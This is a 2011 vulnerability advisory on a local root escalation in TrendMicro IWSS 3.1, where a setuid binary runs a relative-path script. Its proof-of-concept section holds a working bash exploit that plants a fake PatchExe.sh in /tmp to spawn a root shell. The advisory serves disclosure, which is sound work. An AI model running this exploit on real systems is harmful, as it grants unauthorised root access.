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                    # BUGUROO SECURITY ADVISORY #
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[ ADVISORY ]

Title:    Trendmicro IWSS 3.1 privilege escalation
Product:  InterScan Web Security Suite (IWSS)
Vendor:   TrendMicro
Advisory ID:  BSA-2011-002
Advisory URL:  https://buguroo.com/adv/BSA-2011-002.txt
Date published: 25/10/2011


[ DISCLAIMER ]

Buguroo Offensive Security, S.L. assumes no liability for the use of
the information provided in this advisory. This advisory was released
in an effort to help the I.T. community protect themselves against a
potentially dangerous security hole. This advisory is not an attempt
to solicit business.


[ INFORMATION ]

Impact:   Privilege escalation
Remotely: No
Locally:  Yes
CVSS:     8.1
(AV:L/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:U/RC:UR/CDP:H/TD:ND/CR:H/IR:H/AR:H)
CVE:    Not assigned yet.


[ DESCRIPTION ]

A vulnerability was found in the software IWSS of TrendMicro that
could allow an attacker to gain root access in the system.

The binary "patchCmd" has sticky permissions for the "setuid" and
"setgid" with the user root. The execution is allowed to all
users.

The code performs a setuid(0) before an a system() by that the
execution will take root permissions regardless of user permissions.

system() calls two scripts:
"./PatchExe.sh" and "./RollbackExe.sh" depending the input parameters
of "patchCmd".

As you can see the string "./" Indicates the execution in the
current directory, you can easily create new scripts in another
PATH and force the execution on it.


[ VULNERABLE PRODUCTS ]

* IWSS <= 3.1 (linux)
* IWSS <= 3.1 (solaris)


[ WORKAROUNDS ]

None at this moment.


[ PROOF OF CONCEPT ]

To exploit this vulnerability as a proof of concept we create a
script in the PATH of a user without privileges who simply open
a new setuid(0) Bourne Shell.

The binary is executed with the appropriate input to compose
the execution parameters and then scale privileges.

--------------------------------------------------------------------
#!/bin/bash
# Copyright 2011 Buguroo Offensive Security - jrvilla.AT.buguroo.com

cd /tmp
echo "[*] Creating shell file"
echo -e "#!/bin/bash\n/bin/bash" > PatchExe.sh
echo "[*] Change permissions"
chmod 755 PatchExe.sh
echo "[*] Got r00t... Its free!"
/opt/trend/iwss/data/patch/bin/patchCmd u root
--------------------------------------------------------------------


[ TIMELINE ]

26/06/2011 - Vulnerability was identified
28/06/2011 - Vendor contacted multiple times:
  * SR2-1-547365091
  * SR2-1-547365101
  * SR2-1-547374771
  * SR2-1-547378291
03/08/2011 - We send more documents to TrendMicro.
25/10/2011 - Due to the lack of response from TrendMicro we
             publish this vulnerability.


[ ACKNOWLEDGMENTS ]

This vulnerability was discovered and researched by:
- Jose Ramon Villa <jrvilla.AT.buguroo.com>


[ REFERENCES ]

* https://blog.buguroo.com
* https://www.buguroo.com


[ ABOUT BUGUROO ]

Buguroo is a Spanish offensive security company founded in 2007
exclusively dedicated to the development of IT security solutions.
We are a 100% R+D company under continuous evolution and
technological renovation, enabling us to stay at the vanguard of
our sector and to offer a first class service world wile.


[ LICENSE ]

The contents of this advisory are copyright (c) 2011 Buguroo
Offensive Security S.L. are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (International)

License: https://creativecommons.org/licenses/by-nc-sa/3.0/

# EOF